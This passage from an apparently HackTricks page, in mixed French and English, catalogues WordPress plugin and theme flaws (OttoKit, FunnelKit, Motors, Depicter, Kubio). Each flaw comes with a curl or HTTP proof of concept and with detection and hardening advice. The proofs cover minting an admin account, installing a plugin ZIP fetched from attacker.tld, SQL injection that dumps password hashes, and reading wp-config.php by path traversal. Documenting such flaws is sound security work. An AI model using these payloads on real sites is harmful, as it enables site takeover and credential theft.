. - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
Hardening
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST[‘id’]; $user_email must originate from verified provider branches in switch($_POST[‘using’]).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Pourquoi c’est exploitable
- Route REST sensible protégée uniquement par une preuve d’identité à faible entropie (username) ou absence de permission_callback
- Pas d’application des capabilities ; la clé émise est acceptée comme un contournement universel
Checklist de détection
- Grep plugin code for register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
- Toute route qui émet des tokens/keys basés sur une identité fournie par la requête (username/email) sans lier à un utilisateur authentifié ou à une capability
- Rechercher les routes suivantes qui acceptent le token/la clé émise sans vérifications côté serveur des capabilities
Durcissement
- Pour toute route REST privilégiée : exiger un permission_callback qui applique current_user_can() pour la capability requise
- Ne pas créer de clés à longue durée de vie à partir d’une identité fournie par le client ; si nécessaire, émettre des tokens à courte durée de vie liés à l’utilisateur après authentification et revérifier les capabilities lors de l’utilisation
- Valider le contexte utilisateur de l’appelant (wp_set_current_user n’est pas suffisant seul) et rejeter les requêtes où !is_user_logged_in() || !current_user_can(
)
Mauvaise utilisation du mécanisme nonce → installation arbitraire de plugin sans authentification (FunnelKit Automations ≤ 3.5.3)
Nonce prevents CSRF, not authorization. Si le code considère le passage d’un nonce comme un feu vert puis saute les vérifications de capability pour des opérations privilégiées (par ex., install/activate plugins), des attaquants non authentifiés peuvent satisfaire une exigence nonce faible et atteindre RCE en installant un plugin backdooré ou vulnérable.
- Vulnerable path: plugin/install_and_activate
- Faille: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
- Impact : compromission complète via l’installation/l’activation arbitraire d’un plugin
PoC (la forme dépend du plugin ; illustratif uniquement)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Checklist de détection
- REST/AJAX handlers qui modifient plugins/themes en ne s’appuyant que sur wp_verify_nonce()/check_admin_referer() et sans vérification des capacités
- Tout chemin de code qui définit $skip_caps = true après la validation du nonce
Durcissement
- Traiter toujours les nonces uniquement comme des CSRF tokens ; appliquer des vérifications de capacités indépendamment de l’état du nonce
- Exiger current_user_can(‘install_plugins’) et current_user_can(‘activate_plugins’) avant d’atteindre le code d’installation
- Refuser l’accès non authentifié ; éviter d’exposer nopriv AJAX actions pour des flux privilégiés
Installateur de plugin AJAX Subscriber+ → activation malveillante forcée (Motors Theme ≤ 5.6.81)
Patchstack’s analysis a montré comment le Motors theme fournit un helper AJAX authentifié pour installer son plugin compagnon :
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');
$plugin_url = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
- Seul
check_ajax_referer()est appelé ; il n’y a pas decurrent_user_can('install_plugins')ni decurrent_user_can('activate_plugins'). - Le nonce est intégré dans la page d’administration Motors, donc tout Subscriber qui peut ouvrir
/wp-admin/peut le copier depuis le HTML/JS. - Le handler fait confiance au paramètre
plugincontrôlé par l’attaquant (lu depuis$_GET) et le passe àPlugin_Upgrader::install(), si bien qu’un ZIP distant arbitraire est téléchargé danswp-content/plugins/. - Après l’installation, le thème appelle sans condition
mvl_theme_activate_plugin(), garantissant l’exécution du code PHP du plugin de l’attaquant.
Flux d’exploitation
- Créer/compromettre un compte à faibles privilèges (Subscriber suffit) et récupérer le nonce
mvl_theme_install_basedepuis l’interface du tableau de bord Motors. - Construire un ZIP de plugin dont le répertoire de premier niveau correspond au slug attendu
motors-car-dealership-classified-listings/et y intégrer une backdoor ou un webshell dans les points d’entrée*.php. - Héberger le ZIP et déclencher l’installateur en pointant le handler vers votre URL:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
Parce que le handler lit $_GET['plugin'], le même payload peut aussi être envoyé via la query string.
Detection checklist
- Rechercher dans themes/plugins
Plugin_Upgrader,Theme_Upgrader, ou des helpers personnalisésinstall_plugin.phpconnectés aux hookswp_ajax_*sans vérifications des capabilities. - Inspecter tout handler qui prend un paramètre
plugin,package,sourceouurlet l’envoie aux upgrader APIs, surtout quand le slug est hard-coded mais que le contenu du ZIP n’est pas validé. - Passer en revue les pages admin qui exposent des nonces pour les actions d’installateur — si les Subscribers peuvent charger la page, assume the nonce leaks.
Hardening
- Gate installer AJAX callbacks avec
current_user_can('install_plugins')etcurrent_user_can('activate_plugins')après vérification du nonce ; Motors 5.6.82 a introduit cette vérification pour patcher le bug. - Refuse untrusted URLs : limiter les installers aux ZIPs embarqués ou à des repositories de confiance, ou appliquer des manifests de téléchargement signés.
- Traiter les nonces strictement comme des CSRF tokens ; ils n’apportent pas d’autorisation et ne doivent jamais remplacer les vérifications de capabilities.
Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
Plusieurs actions depicter-* consommaient le paramètre s (search) et le concaténaient dans des requêtes SQL sans paramétrisation.
- Parameter: s (search)
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Impact: exfiltration de la base de données (utilisateurs, hashes), mouvement latéral
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Utiliser grep pour les gestionnaires d’action depicter-* et pour détecter l’utilisation directe de $_GET[‘s’] ou $_POST[‘s’] dans des requêtes SQL
- Examiner les requêtes personnalisées passées à $wpdb->get_results()/query() qui concatènent s
Hardening
- Utiliser systématiquement $wpdb->prepare() ou les placeholders wpdb ; rejeter côté serveur les métacaractères inattendus
- Ajouter une allowlist stricte pour s et normaliser vers le jeu de caractères/longueur attendus
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Accepter des chemins contrôlés par l’attaquant dans un paramètre de template sans normalisation ni confinement permet de lire des fichiers locaux arbitraires, et parfois d’exécuter du code si des fichiers PHP/log inclusibles sont chargés à l’exécution.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: pas de normalisation/allowlisting ; traversée de répertoires autorisée
- Impact: divulgation de secrets (wp-config.php), RCE potentiel dans certains environnements (empoisonnement des logs, PHP inclusible)
PoC – lire wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Liste de contrôle de détection
- Tout handler concaténant des chemins de requête dans des sinks include()/require()/read sans confinement par realpath()
- Rechercher des patterns de traversal (../) atteignant en dehors du répertoire de templates prévu
Durcissement
- Appliquer des templates allowlistés ; résoudre via realpath() et exiger str_starts_with(realpath(file), realpath(allowed_base))
- Normaliser les entrées ; rejeter les séquences de traversal et les chemins absolus ; n’utiliser sanitize_file_name() que pour les noms de fichiers (pas pour des chemins complets)
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
- Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

